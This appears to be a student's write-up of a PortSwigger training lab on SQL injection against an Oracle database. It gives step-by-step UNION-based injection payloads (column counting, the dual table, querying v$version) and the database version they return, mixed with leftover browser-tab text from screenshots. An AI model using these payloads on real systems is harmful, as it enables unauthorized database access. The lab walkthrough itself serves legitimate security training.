

# Lab7 : SQL Injection

Link : <https://portswigger.net/web-security/sql-injection/examining-the-database/lab-querying-database-version-oracle>

## Lab: SQL injection attack, querying the database type and version on Oracle

PRACTITIONER



This lab contains a SQL injection vulnerability in the product category filter. You can use a UNION attack to retrieve the results from an injected query.

To solve the lab, display the database version string.

 Hint



ACCESS THE LAB

Goal: User union Query in Oracle database and display database version string.

To display which version oracle database our victim is using we have to use Union operator.

before using union operator we have to determine number of column in the query.

lets divide the problem into number of steps

step1 = finding number column (using Order by query)

step 2 = finding which column supports string or text datatype (by replacing null value with string in union query)

step 3 = display version of database is using.

step1 = finding number column (using Order by query)

we can find out using Order by query.

query= ' order by 1 --




Gifts' order by 1 --


now lets check for order by 2


query= 'order by 2 --

security-academy.net/filter?category=Gifts' order by 2 --

ks - Th...

 Coursera | Online C...

 vmedulife Software

 Gmail

 C


# Gifts' order by 2 --

now lets check for 3 column

query = 'order by 3 ---

ademy.net/filter?category=Gifts' order by 3 --

 Coursera | Online C...

 vmedulife Software

 Gmail

 Conter

# Internal Server Error

[Back to lab description >>](#)

## Internal Server Error

and we got internal server error means number column is  $3-1=2$

step 2 = finding which column supports string or text datatype (by replacing null value with string in union query)

we can find which column supports string / text value using union query with null value in it.

query = 'union select null,null --

A screenshot of a web browser's address bar and tabs. The address bar shows the URL: -security-academy.net/filter?category=Gifts'union select null,null --. Below the address bar, there are several browser tabs: 'acks - Th...', 'Coursera | Online C...', 'vmedulife Software', 'Gmail', 'Content store', and '30 Eas'.

-security-academy.net/filter?category=Gifts'union select null,null --

acks - Th... Coursera | Online C... vmedulife Software Gmail Content store 30 Eas

action attack, querying the database type and version on

# Internal Server Error

## Internal Server Error

we got internal server error but looking at display result it should not happen and if we look back on the lab description we can say that we are dealing with different database.

note \*\*\* here's problem comes unlike mysql database our victim is using Oracle database and **select Query is bit different** than our mysql query \*\*\*

### Hint



On Oracle databases, every `SELECT` statement must specify a table to select `FROM`. If your `UNION SELECT` attack does not query from a table, you will still need to include the `FROM` keyword followed by a valid table name.

There is a built-in table on Oracle called `dual` which you can use for this purpose. For example:  
`UNION SELECT 'abc' FROM dual`

For more information, see our [SQL injection cheat sheet](#).

means : that we have to use **dual after from keyword**

query = 'union select null,null from dual --

```
...ity-academy.net/filter?category=Gifts'union select null,null from dual --
```

Th... Coursera | Online C... vmedulife Software Gmail Content store 30 Easy

on attack, querying the database type and version on



## Gifts'union select null,null from dual --

and it worked.

now we can replace null value with string value so we can find which column will support string value.

query = 'union select 'text1','text2' from dual --

```
...ademy.net/filter?category=Gifts'union select 'text1','text2' from dual --
```

C Coursera | Online C... vmedulife Software Gmail Content store 30

ttack, querying the database type and version on



Gifts'union select 'text1','text2' from dual --

ch:

## Snow Delivered To Your Door

By Steam Train Direct From The North Pole We are dreaming of since you were a child. Your snow simple steps, your snow will be ready to scatter small plastic tubs (there is some loss of molecular snowflakes. \*Scatter snow. Yes! It really is the future purchases for every referral we receive order before your existing snow melts, and all

**text1**

text2

we had two column and both column support string value.

step 3 = display version of database is using.

since we are using oracle database we can use first query to find database version and display the result.

# Database version

You can query the database to determine its type and version. This information is useful when formulating more complicated attacks.

**Oracle**

```
SELECT banner FROM v$version  
SELECT version FROM v$instance
```

**Microsoft**

```
SELECT @@version
```

**PostgreSQL**

```
SELECT version()
```

**MySQL**

```
SELECT @@version
```

query= 'union select banner ,null from v\$version --

Or

query = ' union select version,null from v\$instance -- (from some reason this query is not working )

web-security-academy.net/filter?category=Gifts'union select banner ,null from v\$version --

Repacks - Th... Coursera | Online C... vmedulife Software Gmail Content store 30 Easy

njection attack, querying the database type and version on





## Gifts'union select banner ,null from v\$version --

### High-End Gift Wrapping

We offer a completely unique gift wrapping experience - the gift that just keeps on giving. We can crochet any shape and size to order. We also collect worldwide, we do the hard work so you don't have to. The gift is no longer the only surprise. Your friends and family will be delighted at our bespoke wrapping, each item 100% original, something that will be talked about for many years to come. Due to the intricacy of this service, you must allow 3 months for your order to be completed. So, organization is paramount, no leaving shopping until the last minute if you want to take advantage of this fabulously wonderful new way to present your gifts. Get in touch, tell us what you need to be wrapped, and we can give you an estimate within 24 hours. Let your funky originality extend to all areas of your life. ~~We love every project we work on, so don't delay, give us a call today.~~

**NLSRTL Version 11.2.0.2.0 - Production**

**Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production**

**PL/SQL Release 11.2.0.2.0 - Production**

### Snow Delivered To Your Door

By Steam Train Direct From The North Pole We can deliver you the perfect Christmas gift of all. Imagine waking up to that white Christmas you have been dreaming of since you were a child. Your snow will be loaded on to our exclusive snow train and transported across the globe in time for the big day. In a few simple steps, your snow will be ready to scatter in the areas of your choosing. \*Make sure you have an extra large freezer before delivery. \*Decant the liquid into small plastic tubs (there is some loss of molecular structure during transit). \*Allow 3 days for it to refreeze.\*Chip away at each block until the ice resembles snowflakes. \*Scatter snow. Yes! It really is that easy. You will be the envy of all your neighbors unless you let them in on the secret. We offer a 10% discount on future purchases for every referral we receive from you. Snow isn't just for Christmas either, we deliver all year round, that's 365 days of the year. Remember to order before your existing snow melts, and allow 3 days to prepare the new batch to avoid disappointment.

**TNS for Linux: Version 11.2.0.2.0 - Production**

and we solved the lab.